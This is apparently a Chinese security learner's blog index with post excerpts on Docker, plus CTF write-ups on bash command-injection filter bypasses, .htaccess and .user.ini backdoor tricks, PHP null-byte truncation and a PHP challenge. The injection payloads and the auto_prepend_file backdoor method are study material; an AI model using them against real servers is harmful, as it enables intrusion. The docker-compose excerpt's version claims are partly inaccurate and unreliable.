Atlant1c`s blog

踏上路途吧


  • 首页

  • 关于

  • 标签

  • 分类

  • 搜索

何为docker

发表于 2023-10-13 | 分类于 docker

何为docker

Docker是一个虚拟环境容器,可以将你的开发环境、代码、配置文件等一并打包到这个容器中,并发布和应用到任意平台中。比如,你在本地用Python开发网站后台,开发测试完成后,就可以将Python3及其依赖包、Flask及其各种插件、Mysql、Nginx等打包到一个容器中,然后部署到任意你想部署到的环境。

阅读全文 »

关于docker-composer的版本和docker-compose.yml里version的理解

发表于 2023-10-13 | 分类于 docker

关于docker-composer的版本和docker-compose.yml里version的理解

OTbeijing

2023-04-20 12:221623

docker-compose 有哪些版本,和docker-compose.yml里的version有什么样的对应关系?

Docker Compose 是一个用于管理 Docker 应用程序的工具,它允许你使用 YAML 文件来定义应用程序的服务、网络和卷等内容,并在单个主机或多个主机上进行部署。Docker Compose 有以下版本:

  • v1:这是最早的版本,支持基本功能,如构建镜像、启动容器、设置环境变量等。
  • v2.x:增加了对Swarm模式的支持,可以通过docker stack命令将Compose文件部署到Swarm集群中。
  • v3.x:引入了一些新特性,例如配置命名空间、healthcheck检查、秘密管理等。同时也提供了对Kubernetes的支持。

在 docker-compose.yml 文件中指定的version必须与安装在主机上的Docker Compose版本相匹配。如果使用不同版本之间的兼容性问题,则可能会导致意外行为或错误。通常情况下,使用最新版本的Docker Compose是最好的选择,因为它包含最新的特性和修复了已知的漏洞。你可以通过运行以下命令来检查所安装的Docker Compose版本:

1
复制代码docker-compose version

然后,在docker-compose.yml文件中指定适当的版本号,例如:

1
2
3
yaml复制代码version: "3.9"
services:
...

总之,Docker Compose有几个版本,每个版本都提供了不同的特性和兼容性。在编写docker-compose.yml文件时,请确保所指定的version与主机上安装的Docker Compose版本相匹配,以避免任何问题。

阅读全文 »

勒索软件

发表于 2023-10-13 | 分类于 密码学

勒索软件

  • 文件加密
  • 解密
  • 出钱

OIP-C

阅读全文 »

ctfshow_web_命令注入

发表于 2023-10-13 | 分类于 ctfweb

web118

//利用系统变量构造nl命令

${PATH:~A}${PWD:~A}$IFS????.???

web119

学到一个新技能,使用wappalyzer可以得到web的服务器和php版本

image-20230812211831736

们先来看一下我们能用的数字有哪些:
0:可以用字符代替;
1:

1
${#SHLVL}=1,或者${##}、${#?}。
1
SHLVL是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${#SHLVL}=1,然后在此shell中再打开一个shell时${#SHLVL}=2。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
2:`用wappalyzer插件可以看到php的版本是7.3.22,所以2可以用${PHP_VERSION:~A}代替。`
3:`${#IFS}=3。(linux下是3,mac里是4)`
4或者5:${#RANDOM}返回的值大多数是4和5,其中5的概率多一些。(linux下)

$`{PWD} :/var/www/html
${USER} :www-data`
`${HOME} :当前用户的主目录`

`开始构造:可以构造一下/bin/cat`
`/:${PWD::${#SHLVL}}
a:${USER:~A}`
`t:${USER:~${#SHLVL}:${#SHLVL}}`
`(a和t可以挑一个构造即可)`

`payload1:构造/???/?a? ????.???`

`${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

web120

传参

1
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

image-20230812214903613

按指定的字符串截取

(1)第一种方法:

1
2
3
4
5
6
7
8
`从左向右截取最后一个string后的字符串`
`${varible##*string}
从左向右截取第一个string后的字符串
${varible#*string}
从右向左截取最后一个string后的字符串
${varible%%string*}`
`从右向左截取第一个string后的字符串`
`${varible%string*}`

“*”只是一个通配符可以不要

请看下面的例子:

1
2
3
4
5
$ MYVAR=foodforthought.jpg
$ echo ${MYVAR##*fo}
rthought.jpg
$ echo ${MYVAR#*fo}
odforthought.jpg

(2)第二种方法:

${varible:n1:n2}:截取变量varible从n1开始的n2个字符,组成一个子字符串。可以根据特定字符偏移和长度,使用另一种形式的变量扩展,来选择特定子字符串。试着在 bash 中输入以下行:

1
2
3
4
5
$ EXCLAIM=cowabunga
$ echo ${EXCLAIM:0:3}
cow
$ echo ${EXCLAIM:3:7}
abunga

这种形式的字符串截断非常简便,只需用冒号分开来指定起始字符和子字符串长度。

阅读全文 »

文件.htaccess的利用

发表于 2023-10-13 | 分类于 web安全

.htaccess

基本概念

.htaccess 文件是Apache中有一种特殊的文件,其提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一条或多条指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride 指令来设置。

.htaccess 中有 # 单行注释符,且支持 \ 拼接上下两行。

阅读全文 »

ctfshow_web_文件上传

发表于 2023-10-13 | 分类于 ctfweb

web151

题目

image-20230925162146421

阅读全文 »

文件上传漏洞

发表于 2023-10-13 | 分类于 web安全

何为文件上传漏洞

  • 文件上传漏洞可以说是日常渗透测试中用得最多的一个漏洞,用它获得服务器权限最快最直接。在Web程序中,经常需要用到文件上传的功能。如用户或者管理员上传图片,或者其它文件。如果没有限制上传类型或者限制不严格被绕过,就有可能造成文件上传漏洞。如果上传了可执行文件或者网页脚本,就会导致网站被控制甚至服务器沦陷。复杂一点的情况是配合 Web Server的解析漏洞来获取控制权或结合文件包含漏洞。
阅读全文 »

PHP文件.user.ini的利用

发表于 2023-10-13 | 分类于 web安全

PHP文件.user.ini的利用

php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。

实例
php 配置项中有两个配置可以起到一些作用

1
2
3
auto_prepend_file = <filename>         //包含在文件头
auto_append_file = <filename> //包含在文件尾

这两个配置项的作用相当于一个文件包含,比如

1
2
3
4
5
// .user.ini
auto_prepend_file = 1.jpg
// 1.jpg
<?php phpinfo();?>
// 1.php(任意php文件)

满足这三个文件在同一目录下,则相当于在1.php文件里插入了包含语句require(‘1.png’),进行了文件包含。

另一条配置包含在文件尾,如果遇到了 exit 语句的话就会失效。

.user.ini使用范围很广,不仅限于 Apache 服务器,同样适用于 Nginx 服务器,只要服务器启用了 fastcgi 模式 (通常非线程安全模式使用的就是 fastcgi 模式)。

局限
在.user.ini中使用这条配置也说了是在同目录下的其他.php 文件中包含配置中所指定的文件,也就是说需要该目录下存在.php 文件,通常在文件上传中,一般是专门有一个目录用来存在图片,可能小概率会存在.php 文件。

但是有时可以使用 ../ 来将文件上传到其他目录,达到一个利用的效果。

PHP 5.2 00截断上传

发表于 2023-10-13 | 分类于 web安全

PHP 5.2 00截断上传

漏洞简介

PHP的00截断是5.2.x版本的一个漏洞,当用户输入的url参数包含%00经过浏览器自动转码后截断后面字符。

漏洞示例代码

例如url输入的文件名1.txt%00.jpg经过url转码后会变为1.txt\000.jpg,测试文件1.php如下

1
2
3
<?php
include "1.txt\000.jpg";
?>

测试文件1.txt如下

1
2
3
<?php
echo 'fireXXX';
?>

php5.2.x版本解析1.php时,会将1.txt\000.jpg解释为1.txt

修复

只要比较发现文件名的strlen长度和语法分析出来的长度不一样,就说明内部存在截断的字符,因此输出了打开文件失败的信息。

ctfshow_web_PHP特性

发表于 2023-10-13 | 分类于 ctfweb

web89

题目源码

image-20230816205336758

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

新的系列开始了,还没练过,让我看看都是什么怪物,bangbang炸弹全部拿捏

阅读全文 »
<1…101112>

116 日志
14 分类
63 标签
0%
© 2025 Atlant1c
渝ICP备2023016858号